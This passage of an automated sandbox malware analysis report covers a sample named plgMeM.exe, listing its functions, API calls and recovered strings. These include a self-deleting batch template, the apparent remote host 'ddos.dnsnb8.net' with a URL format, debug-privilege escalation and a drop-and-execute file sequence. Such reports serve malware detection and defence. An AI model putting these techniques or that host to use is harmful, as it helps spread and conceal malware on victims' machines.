                                                              • Part of subcall function 00DB185B: srand.MSVCRT ref: 00DB1890
                                                              • Part of subcall function 00DB185B: rand.MSVCRT ref: 00DB1894
                                                            • wsprintfA.USER32 ref: 00DB15AA
                                                            • wsprintfA.USER32 ref: 00DB15C6
                                                            • lstrlen.KERNEL32(?), ref: 00DB15D2
                                                            • CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000002,00000000,00000000), ref: 00DB15EE
                                                            • WriteFile.KERNEL32(00000000,?,00000000,00000001,00000000), ref: 00DB1609
                                                            • CloseHandle.KERNEL32(00000000), ref: 00DB1612
                                                            • ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 00DB162D
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000002.00000002.1371762703.0000000000DB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00DB0000, based on PE: true
                                                            • Associated: 00000002.00000002.1371681306.0000000000DB0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371822515.0000000000DB3000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371864524.0000000000DB4000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371919194.0000000000DB6000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_2_2_db0000_plgMeM.jbxd
                                                            Similarity
                                                            • API ID: File$Timerandsrandwsprintf$CloseCreateExecuteHandleShellSystemWritelstrlen
                                                            • String ID: %s%.8x.bat$:DELFILEdel "%s"if exist "%s" goto :DELFILEdel "%s"$C:\Users\user~1\AppData\Local\Temp\$C:\Users\user~1\AppData\Local\Temp\plgMeM.exe$open
                                                            • API String ID: 617340118-18379753
                                                            • Opcode ID: ed6129d827f22f883ba36ab8211351a4e29079c585a986c4a567b77ec16a862e
                                                            • Instruction ID: 61319af5c48a64884913b426c0433bba0467261641b6d9e2d5b3d6f557c346f1
                                                            • Opcode Fuzzy Hash: ed6129d827f22f883ba36ab8211351a4e29079c585a986c4a567b77ec16a862e
                                                            • Instruction Fuzzy Hash: 81115176A01228FED72097A8DC89DEB7B6CDF59760F000151F54AE2141EA70AB889BB0
                                                            Function 00DB120E Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 93librarymemoryloaderCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetModuleHandleA.KERNEL32(ntdll.dll,ZwQuerySystemInformation,00000104,?,?,?,?,00DB1400), ref: 00DB1226
                                                            • GetProcAddress.KERNEL32(00000000), ref: 00DB122D
                                                            • GetCurrentProcessId.KERNEL32(?,?,?,?,00DB1400), ref: 00DB123F
                                                            • OpenProcess.KERNEL32(00000400,00000000,00000000,?,?,?,?,00DB1400), ref: 00DB1250
                                                            • VirtualFree.KERNEL32(00000000,00000000,00008000,?,C:\Users\user~1\AppData\Local\Temp\plgMeM.exe,?,?,?,?,00DB1400), ref: 00DB129E
                                                            • VirtualAlloc.KERNEL32(00000000,00050000,00003000,00000004,00000001,?,C:\Users\user~1\AppData\Local\Temp\plgMeM.exe,?,?,?,?,00DB1400), ref: 00DB12B0
                                                            • CloseHandle.KERNEL32(?,?,C:\Users\user~1\AppData\Local\Temp\plgMeM.exe,?,?,?,?,00DB1400), ref: 00DB12F5
                                                            • VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,?,00DB1400), ref: 00DB130A
                                                            Strings
                                                            • ntdll.dll, xrefs: 00DB1219
                                                            • C:\Users\user~1\AppData\Local\Temp\plgMeM.exe, xrefs: 00DB1262
                                                            • ZwQuerySystemInformation, xrefs: 00DB1212
                                                            Memory Dump Source
                                                            • Source File: 00000002.00000002.1371762703.0000000000DB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00DB0000, based on PE: true
                                                            • Associated: 00000002.00000002.1371681306.0000000000DB0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371822515.0000000000DB3000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371864524.0000000000DB4000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371919194.0000000000DB6000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_2_2_db0000_plgMeM.jbxd
                                                            Similarity
                                                            • API ID: Virtual$FreeHandleProcess$AddressAllocCloseCurrentModuleOpenProc
                                                            • String ID: C:\Users\user~1\AppData\Local\Temp\plgMeM.exe$ZwQuerySystemInformation$ntdll.dll
                                                            • API String ID: 1500695312-2202810209
                                                            • Opcode ID: 884c8248dc0ecf262519f08047eecb79833515acac29fa444b8160183371ac1e
                                                            • Instruction ID: baef0e6592d2beffa03bebcd4694d70ef2e43aaa8a46d73bd384b219691c457b
                                                            • Opcode Fuzzy Hash: 884c8248dc0ecf262519f08047eecb79833515acac29fa444b8160183371ac1e
                                                            • Instruction Fuzzy Hash: 1521C375605311EBD720AF65CC1ABAFBBA8FF85B40F840A18F546D6240D770DA4487B9
                                                            Function 00DB185B Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 31timeCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,75A38400,http://%s:%d/%s/%s,?,?,?,00DB1118), ref: 00DB1867
                                                            • srand.MSVCRT ref: 00DB1878
                                                            • rand.MSVCRT ref: 00DB1880
                                                            • srand.MSVCRT ref: 00DB1890
                                                            • rand.MSVCRT ref: 00DB1894
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000002.00000002.1371762703.0000000000DB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00DB0000, based on PE: true
                                                            • Associated: 00000002.00000002.1371681306.0000000000DB0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371822515.0000000000DB3000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371864524.0000000000DB4000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371919194.0000000000DB6000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_2_2_db0000_plgMeM.jbxd
                                                            Similarity
                                                            • API ID: Timerandsrand$FileSystem
                                                            • String ID: ddos.dnsnb8.net$http://%s:%d/%s/%s
                                                            • API String ID: 4106363736-3273462101
                                                            • Opcode ID: df4b5a1fcd4571bfac276bcb1daa86a4d9893626ff37a0cbb003d49266e26c83
                                                            • Instruction ID: 4e666117e78bd3bec98e1cb2c8135769b6571c114d26d4d92a4ba22048193d7e
                                                            • Opcode Fuzzy Hash: df4b5a1fcd4571bfac276bcb1daa86a4d9893626ff37a0cbb003d49266e26c83
                                                            • Instruction Fuzzy Hash: 70E01277A14318FBD700ABA9EC4699EBBACDE84161B110666F600D3254E574F9448AB4
                                                            Function 00DB2692 Relevance: 12.1, APIs: 8, Instructions: 64stringsynchronizationCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • CreateEventA.KERNEL32(00000000,00000000,00000001,00000000,771AE800,?,?,00DB29DB,?,00000001), ref: 00DB26A7
                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF,771AE800,?,?,00DB29DB,?,00000001), ref: 00DB26B5
                                                            • lstrlen.KERNEL32(?), ref: 00DB26C4
                                                            • ??2@YAPAXI@Z.MSVCRT ref: 00DB26CE
                                                            • lstrcpy.KERNEL32(00000004,?), ref: 00DB26E3
                                                            • lstrcpy.KERNEL32(?,00000004), ref: 00DB271F
                                                            • ??3@YAXPAX@Z.MSVCRT ref: 00DB272D
                                                            • SetEvent.KERNEL32 ref: 00DB273C
                                                            Memory Dump Source
                                                            • Source File: 00000002.00000002.1371762703.0000000000DB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00DB0000, based on PE: true
                                                            • Associated: 00000002.00000002.1371681306.0000000000DB0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371822515.0000000000DB3000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371864524.0000000000DB4000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371919194.0000000000DB6000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_2_2_db0000_plgMeM.jbxd
                                                            Similarity
                                                            • API ID: Eventlstrcpy$??2@??3@CreateObjectSingleWaitlstrlen
                                                            • String ID:
                                                            • API String ID: 41106472-0
                                                            • Opcode ID: 1f69208f00a189ebc3ba13c3ff4a259576ebe4b5ba45fa4a6cc8bc47c1dde3ad
                                                            • Instruction ID: aa4446b93a6a9e52d89ee854a96a3af8d2f5af9a60931e5f10c0ccd20ea58009
                                                            • Opcode Fuzzy Hash: 1f69208f00a189ebc3ba13c3ff4a259576ebe4b5ba45fa4a6cc8bc47c1dde3ad
                                                            • Instruction Fuzzy Hash: B0116D76501310EFCB21EF15EC488AA7BA9FF84B217244219F95AC7321DB309A86DB74
                                                            Function 00DB1B8A Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 81stringCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            • DjGzOORsCBOGepVncqbxyBAcTfSCdkNXpaqKTRUTNMAoMyzEFFmbdMJgaLdfivZJYwlRjPJanrvxQuSgHfUVwsPVqAhLhCUYtZiWItWoIGrElmDWebjEgSowImnPzKBXYHrHtlxeQNiLFukvKckXQsDypZuh, xrefs: 00DB1B8A, 00DB1B9C, 00DB1C15, 00DB1C49
                                                            • .exe, xrefs: 00DB1C57
                                                            Memory Dump Source
                                                            • Source File: 00000002.00000002.1371762703.0000000000DB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00DB0000, based on PE: true
                                                            • Associated: 00000002.00000002.1371681306.0000000000DB0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371822515.0000000000DB3000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371864524.0000000000DB4000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371919194.0000000000DB6000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_2_2_db0000_plgMeM.jbxd
                                                            Similarity
                                                            • API ID: lstrcatmemcpymemsetrandsrand
                                                            • String ID: .exe$DjGzOORsCBOGepVncqbxyBAcTfSCdkNXpaqKTRUTNMAoMyzEFFmbdMJgaLdfivZJYwlRjPJanrvxQuSgHfUVwsPVqAhLhCUYtZiWItWoIGrElmDWebjEgSowImnPzKBXYHrHtlxeQNiLFukvKckXQsDypZuh
                                                            • API String ID: 122620767-4007652721
                                                            • Opcode ID: 464b14cf68084d0370ed14a12ada7937aa2561dd3cf4891177f1b3b1cd421919
                                                            • Instruction ID: d051ba51dd926e5182b7aead091747780a1fc3eac436caf5052a86e3913fb7c6
                                                            • Opcode Fuzzy Hash: 464b14cf68084d0370ed14a12ada7937aa2561dd3cf4891177f1b3b1cd421919
                                                            • Instruction Fuzzy Hash: 06218E27F45390EED31553396C60BEE3F44CFA3711F590199F6874B293D16409858274
                                                            Function 00DB189D Relevance: 9.1, APIs: 6, Instructions: 51processsynchronizationCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • memset.MSVCRT ref: 00DB18B1
                                                            • CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,?,?,000007D0,771B0F00,75A38400), ref: 00DB18D3
                                                            • CloseHandle.KERNEL32(00DB2549), ref: 00DB18E9
                                                            • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00DB18F0
                                                            • GetExitCodeProcess.KERNEL32(?,00DB2549), ref: 00DB1901
                                                            • CloseHandle.KERNEL32(?), ref: 00DB190A
                                                            Memory Dump Source
                                                            • Source File: 00000002.00000002.1371762703.0000000000DB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00DB0000, based on PE: true
                                                            • Associated: 00000002.00000002.1371681306.0000000000DB0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371822515.0000000000DB3000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371864524.0000000000DB4000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371919194.0000000000DB6000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_2_2_db0000_plgMeM.jbxd
                                                            Similarity
                                                            • API ID: CloseHandleProcess$CodeCreateExitObjectSingleWaitmemset
                                                            • String ID:
                                                            • API String ID: 876959470-0
                                                            • Opcode ID: 2fc65405d7b5459b436d83aa0fd5dbbb63369e3b0be9814d79314c9f98777a7e
                                                            • Instruction ID: 032a228cb15e705ee23881d8364fe86dcc7287f876e8b31684515c66a96b348a
                                                            • Opcode Fuzzy Hash: 2fc65405d7b5459b436d83aa0fd5dbbb63369e3b0be9814d79314c9f98777a7e
                                                            • Instruction Fuzzy Hash: A1015A76901268FBCB21AF96DC48DDFBF3DEF85760F104121FA16E51A0D6319A18DAB0
                                                            Function 00DB139F Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 109COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetVersionExA.KERNEL32(?,?,00000104,C:\Users\user~1\AppData\Local\Temp\plgMeM.exe), ref: 00DB13BC
                                                            • LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 00DB13DA
                                                            • GetCurrentProcessId.KERNEL32(-00000094,0000000C,0000000C,00000001), ref: 00DB1448
                                                              • Part of subcall function 00DB119F: GetCurrentProcess.KERNEL32(C:\Users\user~1\AppData\Local\Temp\plgMeM.exe,?,?,?,?,?,?,00DB13EF), ref: 00DB11AB
                                                              • Part of subcall function 00DB119F: OpenProcessToken.ADVAPI32(00000000,00000028,00DB13EF,?,?,?,?,?,?,00DB13EF), ref: 00DB11BB
                                                              • Part of subcall function 00DB119F: AdjustTokenPrivileges.ADVAPI32(00DB13EF,00000000,?,00000010,00000000,00000000), ref: 00DB11EB
                                                              • Part of subcall function 00DB119F: CloseHandle.KERNEL32(00DB13EF), ref: 00DB11FA
                                                              • Part of subcall function 00DB119F: CloseHandle.KERNEL32(?,?,?,?,?,?,?,00DB13EF), ref: 00DB1203
                                                            Strings
                                                            • C:\Users\user~1\AppData\Local\Temp\plgMeM.exe, xrefs: 00DB13A8
                                                            • SeDebugPrivilege, xrefs: 00DB13D3
                                                            Memory Dump Source
                                                            • Source File: 00000002.00000002.1371762703.0000000000DB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00DB0000, based on PE: true
                                                            • Associated: 00000002.00000002.1371681306.0000000000DB0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371822515.0000000000DB3000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371864524.0000000000DB4000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371919194.0000000000DB6000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_2_2_db0000_plgMeM.jbxd
                                                            Similarity
                                                            • API ID: Process$CloseCurrentHandleToken$AdjustLookupOpenPrivilegePrivilegesValueVersion
                                                            • String ID: C:\Users\user~1\AppData\Local\Temp\plgMeM.exe$SeDebugPrivilege
                                                            • API String ID: 4123949106-496559723
                                                            • Opcode ID: 7519147c2b5638dbfabb87cde8cbcd595426916b73ab7ecb5289815dc4525b2d
                                                            • Instruction ID: 4efdfc7b814e1d1cc520ea644547eb892b1c64630de29a1bd90f13c1d9c99646
                                                            • Opcode Fuzzy Hash: 7519147c2b5638dbfabb87cde8cbcd595426916b73ab7ecb5289815dc4525b2d
                                                            • Instruction Fuzzy Hash: A8317075D00209EADF20DBA6CC65FEEBBB8EB44704FA04169E506B2251E7309E49CB70
                                                            Function 00DB1319 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 53libraryloaderCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetModuleHandleA.KERNEL32(ntdll.dll,NtSystemDebugControl,-00000094,-00000094,0000000C,0000000C,00000001), ref: 00DB1334
                                                            • GetProcAddress.KERNEL32(00000000), ref: 00DB133B
                                                            • memset.MSVCRT ref: 00DB1359
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000002.00000002.1371762703.0000000000DB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00DB0000, based on PE: true
                                                            • Associated: 00000002.00000002.1371681306.0000000000DB0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371822515.0000000000DB3000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371864524.0000000000DB4000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371919194.0000000000DB6000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_2_2_db0000_plgMeM.jbxd
                                                            Similarity
                                                            • API ID: AddressHandleModuleProcmemset
                                                            • String ID: NtSystemDebugControl$ntdll.dll
                                                            • API String ID: 3137504439-2438149413
                                                            • Opcode ID: feeaeb0f761f561378ab359ef0ea605eaf90e9d54e061b98a14a4ff70fcc1a1e
                                                            • Instruction ID: 6dbc4b1636584ae16876b32747fbf971b0c88dd029667b617efd3c4b447a966d
                                                            • Opcode Fuzzy Hash: feeaeb0f761f561378ab359ef0ea605eaf90e9d54e061b98a14a4ff70fcc1a1e
                                                            • Instruction Fuzzy Hash: 9E016D75600309EFDF10DF99AC85AAFBBACFB51754F44422AF942E2241E2709615CA71
                                                            Function 00DB1DF6 Relevance: 7.5, APIs: 5, Instructions: 45stringCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000002.00000002.1371762703.0000000000DB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00DB0000, based on PE: true
                                                            • Associated: 00000002.00000002.1371681306.0000000000DB0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371822515.0000000000DB3000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371864524.0000000000DB4000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371919194.0000000000DB6000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_2_2_db0000_plgMeM.jbxd
                                                            Similarity
                                                            • API ID: strrchr$lstrcmpilstrcpylstrlen
                                                            • String ID:
                                                            • API String ID: 3636361484-0
                                                            • Opcode ID: 12b17fd66ad0945ba6a5456856dc1cca37b870a6df7987972af9d148780e5d92
                                                            • Instruction ID: 80a18e9718962ec4124e6c6e86e99c0e2921f18c24bcda13192ba319f93fa3d1
                                                            • Opcode Fuzzy Hash: 12b17fd66ad0945ba6a5456856dc1cca37b870a6df7987972af9d148780e5d92
                                                            • Instruction Fuzzy Hash: F401AE76904315EFDF106B60DC49BDA77DCDF05351F540065F946D3190D6B4EA848BB0
                                                            Function 00DB6014 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36libraryloaderCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00DB603C
                                                            • GetProcAddress.KERNEL32(00000000,00DB6064), ref: 00DB604F
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000002.00000002.1371919194.0000000000DB6000.00000040.00000001.01000000.00000005.sdmp, Offset: 00DB0000, based on PE: true
                                                            • Associated: 00000002.00000002.1371681306.0000000000DB0000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371762703.0000000000DB1000.00000020.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371822515.0000000000DB3000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                            • Associated: 00000002.00000002.1371864524.0000000000DB4000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_2_2_db0000_plgMeM.jbxd
                                                            Similarity
                                                            • API ID: AddressHandleModuleProc
                                                            • String ID: kernel32.dll
                                                            • API String ID: 1646373207-1793498882
                                                            • Opcode ID: ddf59c15b9c7ab4186efca488a57709632401948f4df720b19761a079e8e0c3f
                                                            • Instruction ID: 6495ea8c47cee984f5dd38770d8f2b0ea86abd80ccaa38d64ee1c9b4c7565427
                                                            • Opcode Fuzzy Hash: ddf59c15b9c7ab4186efca488a57709632401948f4df720b19761a079e8e0c3f
                                                            • Instruction Fuzzy Hash: B0F0F6B1144289CFEF708EA4CC44BDE37E4EB05700F50042AE90ACB241DB3886058B24